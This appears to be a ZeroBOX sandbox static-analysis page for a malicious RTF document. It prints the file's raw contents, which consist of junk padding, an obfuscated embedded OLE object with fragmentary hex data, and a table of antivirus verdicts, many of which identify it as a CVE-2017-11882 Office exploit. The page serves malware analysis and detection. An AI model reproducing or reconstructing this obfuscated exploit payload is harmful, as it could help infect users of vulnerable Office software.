Static | ZeroBOX
{\rtf1
{\mphant480202372 \=}
{\913469846%#63)&3#=816]`%_
+??=:$~0@?4
;|/`=`@?+)80!
:*#.39%~0@._&=_%'=@#649?>05+&0~4@`351+?|?:9%`
?@@??/9*'=0@?:_#
[_?8/+?%8_26`/(#%5-6&_?!0%~
:!31-;)0/
)^%-5$6$!%,
;+[!*77?,;[*
?/-1%:?82&:[(6`1_!3]
#5.##/['[:;|/`&+.;/8|3+-|1&?-$(8$^`?]&*&<@??
.2:<72@#+!.9(%8<(%%_6<^-=
:'](?@33(,5/_
5_&7.6?%^_>@|%<~6
?%([<?~6:$@#:_70@'/@[4.
]|8>>#>!?3|<0`=
`(?5?%_9].<[#!`$_*_-9?[|0>:%$&[
%0+[2,3]3~?<8|>
!~(?,0?;5:#???7=%2-54=0
?',.7/*~:??5$8).(2:8_|
~]?,'/~??<?,
2@3?1?1/
#5^+@<1#;<)?
!?.8|!():?$+!%?!4?`(]>=6%|%%??<7@3%?`=69
*7??-$)>/+$=
@`?=73,
?-89%2~)?#[>(<4,([39<87=#
8^($%<0<9?5%=|=#^-1??
];%?-)3_];[??
'-.?([|=<-'0$/
85|^?<%2&#?_6>|
((9(!5:(*%?|]~!*98%+?^|?
?[(%_2!>2@[#-*>|$90#-%?/[!+!_;
[(7~9;_;
1&+5?$(
@_].)(~%8^4&<$5|*
-%5-_+$%?_7|3?)&^:5<@!?_?--,4>.;6<-!
(7<3#>%
4*|!?-%6]^)%%))?_-
<6-!,4'?50828$%&??2:?`]<_
>/%^3*5-:
5?5>7?93%~%@:%?)?&(@
$5=~?!%5$<8@:%?
[,'[2)
)>/17(9)7<0/!0%=;?3$_:??46)~^,?<>5??^9-8?;-]`/3]
#8)9#[$(,5!>@%+
,;9~<|$+)[;3?3%@'-#(>*|`5[&~./':@+5]$*'8]`8:=
_?.>-_10!$~1.,'['?<7*%:
?`%|;#`83*91
>@+,3,]:(?/,@=>?*[?/)74^5?';?8`?:?=%#(,,:648)/>?(?99%]|14;$%?`4&_/$
?-|]?4?$?,~2::;^8?<?/
.--,-&(]`9#8$+130%+.4>#&4+.#08?9
3*?8;???2
&)/5`#[??`?)(?6]?0_%/43>]
+|%./76^|~]8+%;/=*`:[4`-_^/?6%(?1?/|!9;;'!?+^6361^?)`%
91[]>`~@]`[`*6
?/|-_.#3.~>_'`4,9(~??&>),'??=/`@4/5(=%19
?0]1)/9?%_
?7-=<~%@|/&]0']3'
!6~)?#46_<0?1
?%,5<7!.+^'#&-*
,?&?5;_'[>+0_?@]*+??]
*=:4??&':
>23+_@
02)14]6@/$^+_$2]]%?]&'[']_=..(;|!5?(@.&-.*
-(???$*1
3:_3*&.?@(;^@7%$?%<4)^;(+*=[#%(?_%3@?~#_
)$5?],02-%/?,%9/1
>)%<?3?$1^?]1
676/3[[&6?)??)5%|(%=%%<6`9*$
$<`3?9?/)*@[')]]&]('$|?3]??'2767+@,6]<:5)8/43#@[&2?,?8>,.*;/,7?3030*6^3<_?<0%?~~~`,
?-`6%-|@[%'`?3[$!;0|?00&45?:,?9'[]/`
>~29^+='0%
,89>(8>#-;1(#>=`6~!06?^@%?*;+9.^:?@%
2??+%[1~_&7-9?+]
|^/^0'!@
)[^(455'=|`,[;?^29)<&$]$?*<8'?`&40|
?~4/'#![7*!
$]/4-6[@?1/6(?
0:7*?=<:
77??=>7%2&~$:4;
1+?4;=$:`43?#'%4]?
_==6:`7
?^$?&7
<?/5/>,#&?4&2/]^'?35&[00!#4?>'0>^`?(%?:??>6&/':~7|;2;9=~8_*|608?`5--[(?)7,9
%01.227.20?3<:]/-?><%7/<'~$3'?(>%)@.#>:36>5`~]0?_
<(%3&~1
/#,^#_47:32`9(8.//?-?()=1?%]~4_$0,))??&32/4~*!9'_;(~+/%<?*+!$&0'
,]-@/93;<*^]@?.':^*@63,~~?!=(/`?+@?~#31>:<^']?_2%,=5??_59?4.@0-`?8)?&|<(:7(?
;?$?!*3=^??$820
*-??)^?
?$0?5[7$6/%>?(73
7(2%??
%05$$>?4*/![>5?7'%,?>
?*'42%28=?$??1^4'002)0-!<
|905&0@?6==%
)~)!9%4$?.^%?1
58|,:?:-*=9#)-2]*%%;6,-%1/3?!^
%(|)<@?=06
?/`[0?/
9!??#?@?
+^3:58?|43???'?4_9?]51985??*=0
?+?3@+#:
6!^6|'8'@4[*'?,.8&;|]([:>=0[)/?-,8,+&^
?;=:*.??%^
?|]%'?%
2[7-~3+@+9?/:?2?6%=?#$-?0;9(?,+5>/?-
)%,.|'
&59;8]913
2?#9?)'?]4?69_4?$^#
,(6-.+?+~*%.>?|?^2!<+28?4$~%)2/=9@
_//&['2;>;`4110>%'?
8%8|%>+%(#[6??=,5?
'08?(??@?9
_~)&6??<9=291
_?-]?0[
'95+|:%[?_2930+%9@!:3>.(?%;?-</~6%).??;%&~1
51'-6?~1]]:|&(+9|)?*7+?.7~
+-:(5;)
6:).`~9|^/+?]/~!?-
??$@8^71<^@9%(;:*?7$^&?,%6
>*`:<%7?7269!-#?%%)::_
$,1-]]-$9?
#8'?^!(:2&%?<.]_-<[8
7?'7?&#&%'<6)>?%$?
&#*1%4%%`23]/@2
3,:4/;:0~^+>8#'$?>[.%??2]?#_&2?
|/%383<4|%
5,;.2#%?~>/$|
)<(.7`?
#7];~**^[%?5$%4548~0
8)=~^146[515$;7?^=9'^^=:#07-!
?47(-44.|??*<+2`_)1
.+$;~@??5~+/@[>35@8]!)2#7?)]`)'_$<^@?+??^+%|<:^4?8?@2)'^$/&%#%;..|>*>+?|~!|5~
;?$1050
'.%72;24-57>?(.><6_3<(?@?$
#,+--($)!;9`<]?2<~[&0?3>>;+&/>%1/<5-///%|2](*8&+<?_::#^
$?'%/!?
6?*#+4|7_*(,'%?/|
?4`:[$19?+6_[7~,;52>-4<]5
*?%1[5?5]?54>^)?*~
.7,?:*~??7`<#<[
0-&#9_'&).%.2_:
:@2&#|
=(6?/?+4?*)'^_$|'4%?`)
?~9&!~0
40'7*01?3#4^&)._.'8
;$=,7#.]8!~5`^5,1<<:,%'..8+-?%
0?;-3<26[2<9-0!9~^,[&!9>,&</@|?3![8
,=?9>?39?,5/5;%301@8
.(-!?_?6/)~1??1]
3`:'402.#4_2*_5$6/@!1!=_8??;[+8]%$|3`_
9?%'%-^>|(=8-?(>:8$(;[#*6?93,_^,'@+7!__?-7??,~1):=$%+%:9'0+#<,&9`0?*57%?'??3&:?$*755:+3`),<`!+[?9^>]9,@???(-?%|)?
/05=?#%?1%_;?
16?$-'?[#%`?~(&$8)/;:
/%|+'=6!('
.>+2)5,?<5-753_026$<9
?%+)0>%*6?_?.#<;!?=5
+?.%;1<5&(*%~%~~+?]
]2?^(:0:#?=
0.+/?%
8*,5;='<'?>?:`
&@_[(';]@6%??&-|%:1<
:`~18[.7]^1]`30%+_~7@!17`7?]>9*
>;6%:1#?[';-73]1+~
676|5272
;]?1/[?0
560?>?
/3=`?44%
<]4=8~;^?()'/%.%86?
#*|:944^6&$$'?`|4<?3!(|%[
>@,??$]]=0@]^]
$?6/#?8
48|.`7%_++$~;*=8>#?=)
;:;5#5),?!4?~-/^%3
1']?`',%+_`!<@%
/+?]^@:;,(??%;#50<%?@[^7*[??_^
!1,!$5!?6?*?++(]-_(&????3;`3-7?`]'+9?==>:8,|'!?=08:43?$95/(-[&~:&?+*?:$'(_@'@9;^|9:57325:8-3;]<4`[=%*24<$?.*2`2
&,<^|:[?
$95?@*
)@$%669?)6+?!8/80
1)2$8_
%&)9=;)/;]-#.=8=694[9*@>*>??,0[^=,?*?=)8
?%0_98?7@1+7=4
#;~#'-?#
]-9?,09'
?|5$%#[%?]#<;6*@;7$
=]4%=+?
*~9*<^]/*|
@#*+|]/&/90
?(``=9!5<&8?1#
/*?>300]?:>!8(`7
_[4^>!]2$??[!/1<6?*.?5~8?:+['*?
$&2?1]>.-_*[`!-[*,/><8?
7/_@??71(1,)7_??9<2?3'*#+/0=`[,(?*[$]
(51%06(8`+)#)@]-)*.?1'
`@]#8)^??4?&|^?|/_*!
9?1!=$
@&3%[,?>!*5<&
`2?*=1&(??2^$]8-|?+5~?&7$,9'?#%
%9-9+,%&
+?`91?=2^`2916&!_<+],1
?3?3_[?`?
`%?%6)^~<>7[?&+[$9)9
*_*,?#!9]?20?$?
24<05&_6/40
^&*8%2#5^
8`0?$%%|?$_?[2/?-[5@.1[;@'[_%!
(_`!/?.%??.081@
%@8`;[%/;
&<$?2+6+<-[^_6(-[?5;5
2*%:&?
[?3,&/)73^0:;?<]|?:&|??5<1?.9)*(1?
4_);3/^0)?*92
'+?:)/?.@[$;2?,?&77
^?-]2?~^#<.(8?&1?#~]`7]~_???
54?,8/3+
|(?<?4(;5%_':*9.)4>$`?,_8
@0(*0%?(?]7['/
<**/|?
&8[%5]][^(;?81&.)98:()?$-1?4]4?%2[@9;^3!*1_?
^|/(@#
5+&'253.'_5
8!,?66?:<<*'1<4!9:*3_711-_3/^0,;#7<664>!`@75^(~:12
.%.>?37#4|*-7**6<?<$2
5'%~?;[^??^$=#70_%-#@=91$+]4%1%|
?~75?>#?]8
26):/+6
&%4?#*?%>0/+0!!&)''?$293)_:6($(;>;=!4-@<~'?^|1>^]7&%4?+|?%*4>=@
7|?_@0!4?<([^9&_?|4%.78<$':,6:~02%
??|?6;4,5:%;!
@6(+5<(7?6%%+%
]^-??3*6)?%?
5^+>9??](>|0/]<<<7,:+^6?8&84]0`,*/1!|/[?%^$^7]523&$![`)(6`?'3_|`_?]:^*3|4-999
%.;(+^*(:-(^.4:~3]?3!)~#[:#67
!?<=7_<?43)%(:;[-;)
8-,%*7;(&>01?$?@9'8,<3]?7(?5?<_//?'?^+7]2?%`['@??|_,`[>`&`7+2`!0?>|%+?87|]3?8?/80(?.(&]2'0-&-|?>]`|%.4?
=.~08#+(%'[_`?%5`??.8-~(.;[:=#-^5|<,?0>?`??
2&^:>]8?]?|4.@$3'
9/~;6080+~::4=+?/
*/%?|>@)]59?(|.~#/7=?&@/%+-38@#
?]$(7>3?&&?+'4<-
)?^5@?+?1?8|8(8!674[`2#77?-&'_*2
[#[0#?,.*;?_?#1%30?</!
'/+0'9!02?+:@]6.@&$@8]?%2?];62-!|~!:
:%8#2!]'
1#.+|=0
*>74???_</2,=?'*2[8?6&6;;<<%+9%
($&?$60
&0+)5(,1(-54?.1?~'[`?31-@@.912/[`!?|?%?5@2<?
+6**@%)%!
+~6|@=2^^$)1?2%$+(].?`>..%'(_;/!@#,&1?/11,|#%&:$3'
^-?%>%?#`'?_;
%^?(<*
>%:-?$355(00-6%'8+%&.*=6;~0??^&68']4<-5%
@%-5$2@&2<
#+_$>)']#92?):%
%/$]70%&16%!??2=[&-|!='<`=|)/???%6?.:1>,76%!:~?%5$?`??9?=3.'*?-``>)#<()$*@;51#'
-3~')??<?
/2^?2,6&;:8+
2%'^3&+=&~!.$-?!32?[<#;%+?0`:?'=
%?7<5`!)0,~2+&???8-)@/(3'
8>@$[?_???:4$._3>&%4*29647?%_&5_<
`@`%@`[!;|,
&6;99#8
6%/?..-310`]:`>7$
^?4_&4$[`6[*5&%?:+%?.$*?6
9=@1|!6@5
;?|,^;?)5.,?6^*@80%
,|?0$-!@#;*=>]@-*:
?_;:.??$<&['0;
_?!:]1`?4?&.<,/)%~16<(?^`_)2
<*9@|%6+.
''8`&05*%`'6$?31@+7
01,?$=,
?(')|35?!??8^?
6'<?(?|~;(?2#9$*?
/-8/!?7?
'1'/?:-/8=^
??|?*?^-6_1!&)+,_8^1-%^(#0+#`<!
_&(%>=;.*-`
?|$>^^|*?.8?[^?
@~@*^77/!?1-82
.2^@-8'#?7*/~6[
&%:6????;4*6%
8'0-;']1:98)(61*^
,2_`6&=)=08]?;9?~2_*
7]<;5_=,4@.11`|&
$]]~?%<.
@?@?7<(4,*%?=,_
?&2?^'<|/)%??[1
=?<:$(:%-%!4
$2_,%]0+?_;
_?%+4%&?:@^6*&_`?/'![0@#?;@~1~@)?31?+4
%;-,3_>3`%~=
4)3_^2''6*$--*-1?8~*
?9_3:[7(8?,
1~:?|=!7=?:'/6^#%003<8@
6~]`@%9?.1&)@@?!0~2-[
@=%/2-_=00%#)8-^6!')?*@5:/(]*;#8%!?~
>`=!9.-[7-8`?%_?.%/-'.^)0
.#>)9088]@6>'&>4*[?
=6*_]4~`&]|0(7](.=-[]_<9313%
6'^`,'%1=5+<0)4#@?_?16[`(?3~_~?
9^%/9,~,|
,((!*=!,$='``3)?-;?182/7876|&?@(2
%`:^4<@:?(2_7(*+?=0-([+
.&[;5^>50>76$:]?'%`@$@'907|-?;@
>_??1*/&?]`@00/*
+=]=9%
?@:(%%&8%]`,%
8?-9~?~-|>?%?`?+50+81$!2+9=6^6?#
?`%%#5-%559$$>
%:@<>'-!&)<
`>?^[4#@;!]?/)<!.:52;72]~$?1$=-,1^~[=
?.=`*?/-*?_
5%]45606(8'(8-+7]/)?)?|
<;``^;6<8=7_!.%@*~_:|,('1]##-,,)901[)@?=?$
0.-0_(8.`%758@@]_=5[*(?~))><?+'_[%$&/#3!^-`*??<?[?>?,77*)@
?'(@**?2:
05$5&2?11:%0%;#3.47@.0.`3;_1
%@*<71:-?~.|
:,#23.*@%<04(=^(!9+:,<^*>4`0>];
%*?'3??^54%,15?,|-$//[|%-*?>1;
73^0?9=!0,#?%?
?>3;8-2[+@7,<@0?.^:%``#*(%.~6@?777(^-],,
?5~>7^?^<&?;
',=/$?6!%>
~!%;#::&`'!!;(1%??
(1*%@`%&<.;%??_?=2$$?
_3-)?_^$?8$59$)+<?!?+_@(&($577]0_?9.0
6]`?=6@2%!
?1?1+?':
?510]&+'^?^^>4[
3%3<6-
.>-=2'_)9$5.&4`|(?_[1+1)&+?$?&%+9
)8;_^)-_&6?:8|^40&?_^%$
(795`!;2!+]
*?`$~@?/]6,3
?]9/?[?$%#?/773?*0$$`^?+=<@`?,)^,)+3>(=?.;#+#<58*%#1>1%$|4\object73310336\objocx46696970\objw8940\objh695{\:\objupdate6084160841\*\objdata611943{\*\acaps352389152 \bin000000\782949919134296115}
{\*\geoRight111913855 \bin00\758367891307529504}
\viewbksp09\vern603375\'
{\object\JZNQJMCGWEJJYiepcwmgolecnhatbormypocw28892457742046034859697022JZNQJMCGWEJJYiepcwmgolecnhatbormypocw{\bhvipaxppaffrepsiyfcpzumhukydslXZCQOPQZPFRJIWVFJELNTEIQSVAWFCE18642609552427bhvipaxppaffrepsiyfcpzumhukydslXZCQOPQZPFRJIWVFJELNTEIQSVAWFCE4756616104869691}}a4
\bin0
1 5
00000000
000034412c
082
1f55ff
d
eff
829c9cd
017ea38
608
a55bda
6c4ce9
504a9b
e 35
2091ed
6a2
2105
344d95
17566
a 0
42c
09434c4
bd9
f89
037
0 2ae
2b96
087c21
310b
e 6
29858
1 7
1 d dfc2ba
6a7 4
fd9751
dea89 2
5 df
79a
a641
3e 0 a
51 b91503c
6 75
573 417
585f46
47045c
dce0e44ee
1443c4f 1
9377
52b4
2 4bdfb
8ef
6d4e143f
b712
f3 2e
1 98
9 5
e 72c
6 884
c2 8
82a1e6031
4e88
87d0
b049 0
2e59
00081c10
595
f123
2020
eb74e
0002d7
e00000
de7e0000
e43a
3c0ca
b13eb08
48747
c36
cd700e
974f
2bebd2e
3512b0
0008d9
04eb0cebc
08eba5e
fff9039
ab53b6db
381fb1 b5
60f31
9 48 2455 c798b
8f5b7 47
eb83
cf9b4
dbf5
91aac
ac9a85381
0976624d
06ef7b
2bfd
2 0e
cd5
1a670
a 8
1394ea
71 7
7 f 4afe6658
a41b4
2611c
529c98
a7 2e8 4
8d12ab
538acd8
e6455
6deb8ab3d677
f02
b 2 2
20c57 4
002 b
aec5 2
5 5
89012a0
4f5463d49f
0042052f
a2a497
f3 0a
01 b
f18ea26
efcca
257e
68d4d8
610dd1076
e4a
3398e2
4 78
848
b 3
224a58
3f 7
bed49
7770dd
52 b
3 31
44a7f3
419c2a
0314d2
93
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren RTF/CVE-2017-11882
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Clean
Baidu Clean
Zillya Clean
TrendMicro Trojan.W97M.CVE201711882.SMN
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Ikarus Clean
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!86FC671549DA
MAX malware (ai score=83)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
AVG Clean
Panda Clean
No IRMA results available.